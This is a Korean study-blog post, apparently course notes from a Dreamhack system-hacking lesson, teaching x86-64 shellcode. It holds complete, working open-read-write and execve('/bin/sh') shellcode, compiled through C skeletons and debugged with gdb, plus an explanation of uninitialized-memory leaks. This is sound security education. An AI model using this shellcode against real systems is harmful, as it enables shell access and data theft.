Exploit Tech: Shellcode
# 서론
1. 들어가며 🚪
- 익스플로잇(exploit): 해킹 분야에서 상대 시스템을 공격하는 것
- 익스플로잇은 '부당하게 이용하다'라는 뜻이 있는데, 상대 시스템에 침투하여 시스템을 악용하는 해킹과 맥락이 닿음
- 셸코드
- 셸코드 개념
- orw 셸코드 작성 및 디버깅
- execve 셸코드 작성
- 코스 요약 및 리뷰 퀴즈
2. 셸코드 🐚
- 셸코드(Shellcode): 익스플로잇을 위해 제작된 어셈블리 코드 조각을 의미
- 일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용해서, "셸"이 접두사로 붙었음
- 만약 해커가 rip(명령어 포인터 레지스터)를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드를 실행시킬 수 있음 → 어셈블리어는 기계어와 거의 일대일 대응 되므로 원하는 모든 명령을 CPU에 내릴 수 있게 됨
- 셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성됨
- 공유되는 셸코드는 범용적으로 작성된 것이기 때문에, 실행될 때의 메모리 상태 같은 시스템 환경을 완전히 반영하지는 못함
- 최적의 셸코드는 일반적으로 직접 작성해야 함
- 이번 시간에는 파일 읽고 쓰기(open-read-write, orw), 셸 획득(execve)과 관련된 셸코드를 작성해보고, 직접 디버깅하여 동작을 살펴볼 것임
# orw 셸코드
1. orw 셸코드 작성 📝
- orw 셸코드: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드
- "/tmp/flag"를 읽는 셸코드를 작성 // 구현하려는 셸코드의 동작을 C언어 형식의 의사코드로 표현
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
- orw 셸코드를 작성하기 위해 알아야하는 syscall
① int fd = open("/tmp/flag", O_RDONLY, NULL)
- 첫 번째로 해야 할 일은 "tmp/flag"라는 문자열을 메모리에 위치시키는 것
- 이를 위해 스택에 0x616c662f706d742f67(/tmp/flag)를 push하고 rdi(옮겨질 목적지를 가리키는 포인터)가 이를 가리키도록 rsp(스택 포인터)를 rdi로 옮김
- O_RDONLY는 0이므로, rsi(원본 데이터를 가리키는 포인터)는 0으로 설정
// https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24
/* File access modes for `open' and `fcntl'. */
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
- 파일을 읽을 때 mode는 의미를 갖지 않으므로, rdx(데이터 레지스터)는 0으로 설정
- 마지막으로 rax(함수의 반환 값)를 open의 syscall 값인 2로 설정
- 구현
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
② read(fd, buf, 0x30)
- syscall의 반환 값은 rax로 저장됨
- open으로 획득한 /tmp/flag의 fd는 rax에 저장됨
💡 fd란? 파일 서술자(File Dexcriptor, fd): 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자
- read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입
- rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킴. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입
- rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정
- read 시스템콜을 호출하기 위해서 rax를 0으로 설정
- 구현
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
③ write(1, buf, 0x30)
- 출력은 stdout으로 할 것이므로, rdi를 0x1로 설정
- rsi와 rdx에서 read에서 사용한 값을 그대로 사용
- write 시스템콜을 호출하기 위해서 rax를 1로 설정
- 구현
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
- 위의 3가지 과정을 종합하면 다음과 같음
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
2. orw 셸코드 컴파일 및 실행
- 대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있음 ex) 윈도우의 PE, 리눅스의 ELF가 대표적인 예
- ELF(Executable and Linkable Format): 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 키계어 코드가 적혀 있음
- 위에서 작성한 orw.S는 아스키 코드로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF 형식이 아니므로 리눅스에서 실행될 수 없음 → gcc 컴파일을 통해 이를 ELF 형식으로 변환할 것
컴파일 📚
- 어셈블리 코드를 컴파일하는 방법에는 여러 가지가 있을 수 있으나, 여기서는 셸 코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용할 것
- 스켈레톤 코드: 핵심 내용이 비어있는, 기본 구조만 갖춘 코드
- 스켈레톤 코드 예시
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
- orw.c: orw.S 를 스켈레톤 코드에 옮긴 것
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
실행 🏃♂️
- 셸코드가 실제로 작동함을 확인하기 위해 tmp/flag 파일을 생성
# echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag
실제로 echo 명령어 사용시 '!'와 '}' 때문에 bash: event not found 에러가 났는데
이는 set +H 명령어를 미리 실행하여 해결할 수 있었음
생성한 tmp 폴더에 orw.c를 생성하여 위에서 보았던 내용을 저장함
- orw.c를 컴파일하고, 실행
셸코드가 성공적으로 실행되어 우리가 저장한 문자열이 출력되는 것을 확인할 수 있음
만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있을 것
주의 깊게 살펴봐야 할 것은 /tmp/flag의 내용 말고도 몇 자의 문자열들이 함께 출력된 것임
디버깅을 통해 셸코드의 동작을 살펴보고, 저런 값들이 출력된 원인을 분석해보아야 함
3. orw 셸코드 디버깅 🐛
- orw를 gdb로 열고, run_sh()함수에 브레이크 포인트를 설정
- run 명령어로 run_sh() 함수의 시작부분까지 코드를 실행시킴
우리가 작성한 셸코드에 rip가 위치한 것을 확인할 수 있음
- 이제 앞에서 구현한 각 시스템 콜들이 제대로 구현되었나 확인해 볼 것임
① int fd = open("/tmp/flag", O_RDONLY, NULL)
pwndbg 플러그인은 syscall을 호출할 때, 인자를 분석해줌
셸코드를 작성할 때 계획했듯, open("/tmp/flag", O_RDONLY, NULL)가 실행되는 것을 확인할 수 있음
open 시스템 콜을 수행한 결과를 확인하기 위해 run_sh+31에 브레이크 포인트를 설정한 후
실행을 해보면 /tmp/flag의 fd(3)가 rax에 저장된 것을 확인할 수 있음
② read(fd, buf, 0x30)
- 마찬가지로 두번째 syscall 직전까지 실행하고 인자를 살펴볼 것
read syscall을 실행한 후 그 결과를 x/s로 확인해보았음
0x7fffffffde88에 /tmp/flag의 문자열이 잘 저장된 것을 확인할 수 있음
③ write(1, buf, 0x20)
- 읽어낸 데이터를 출력하는 write 시스템 콜을 실행
데이터를 저장한 0x7fffffffde88에서 48바이트를 출력하고 있음
이번에도 /tmp/flag의 데이터 외에 알 수 없는 문자열이 출력되고 있음
이는 초기화되지 않은 메모리 영역 사용에 의한 것
💡 초기화 되지 않은 메모리 사용(Use of Uninitialized Memory)
- 스택은 다양한 함수들이 공유하는 메모리 자원
- 각 함수가 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제함
- 스택에서 해제라는 것은 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히 rsp와 rbp를 호출한 함수의 것으로 이동시키는 것을 말함
- 즉, 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 됨 → 우리는 이것은 쓰레기 값(garbage data)라고 표현
- 프로세스는 쓰레기 값 때문에 때때로 예상치 못한 동작을 하기도 하며, 해커에게 의도치 않게 중요한 정보를 노출하기도 함
- 따라서 이런 위험으로부터 안전한 프로그램을 작성하려면 스택이나 힙을 사용할 때 항상 적절한 초기화 과정을 거쳐야 함
Appendix. Uninitialized Memory
아까와 같이 파일을 읽어서 스택에 저장
해당 스택의 영역을 다시 조회해 볼 것임
48바이트 중, 앞의 40 바이트만 우리가 저장한 파일의 데이터이고,
뒤의 8바이트는 우리가 저장한 적이 없는 데이터임
이 데이터가 나중에 write 시스템콜을 수행할 때, 플래그와 함께 출력되는 것
이 값이 어셈블리 코드의 주소와 비슷한 것을 알 수 있음
이런 중요한 값을 유출해 내는 것을 메모리 릭(Memory Leak)이라고 부르는데,
앞으로 배워나갈 보호기법들을 무력화하는 핵심 역할을 함
# execve 셸코드
1. execve 셸코드 😎
- 셸(Shell, 껍질): 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel, 호두 속 내용물)이라고 하는 것과 대비됨
- 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여김
- execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있음
→ 다른 언급 없이 셸코드라고 하면 이를 의미하는 경우가 많음
- 최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며, 이외에도 zsh, tsh 등의 셸을 유저가 설치해서 사용할 수 있음
2. execve("/bin/sh", null, null)
- execve 셸코드는 execve 시스템 콜만으로 구성됨
argv: 실행파일에 넘겨줄 인자
envp: 환경 변수
우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해도 됨
리눅스에서는 기본 실행 프로그램들이 /bin/디렉토리에 저장되어 있으며,
우리가 실행할 sh도 여기에 저장되어 있음
- execve("/bin/sh", null, null)을 실행하는 것을 목표로 셸 코드를 작성하면 됨
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
3. execve 셸코드 컴파일 및 실행 🏃♂️
- 앞에서 사용한 스켈레톤 코드를 이용하여 execve 셸코드를 컴파일할 것
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
실행 결과로 sh가 실행된 것을 확인할 수 있음
# 결론
1. 코스 요약 ✔️
- 이번 코스에서는 셸 코드를 작성하고 직접 디버깅해봄
- 앞으로 배우게 될 return address overwrite와 같은 공격 기법들과 연계하면 강력한 공격 수단으로 활용될 수 있음
2. 리뷰 퀴즈 ❓
Q1. 실습 환경에서 다음 파일 지정자들의 번호를 맞춰 보세요
Q2. 실습 환경에서 execve로 셸을 획득하려고 합니다. 이 때, 다음 셸코드의 빈칸을 채워보세요
'Hacking Tech > System Hacking' 카테고리의 다른 글
[Dreamhack] Memory Corruption: Stack Buffer Overflow (0) | 2022.09.01 |
---|---|
[Dreamhack] Background: Calling Convention (0) | 2022.08.31 |
[Dreamhack] Tool: pwntools (0) | 2022.03.28 |
[Dreamhack] Tool: gdb (0) | 2022.03.27 |
[Dreamhack] x86 Assembly🤖: Essential Part(2) (0) | 2022.03.27 |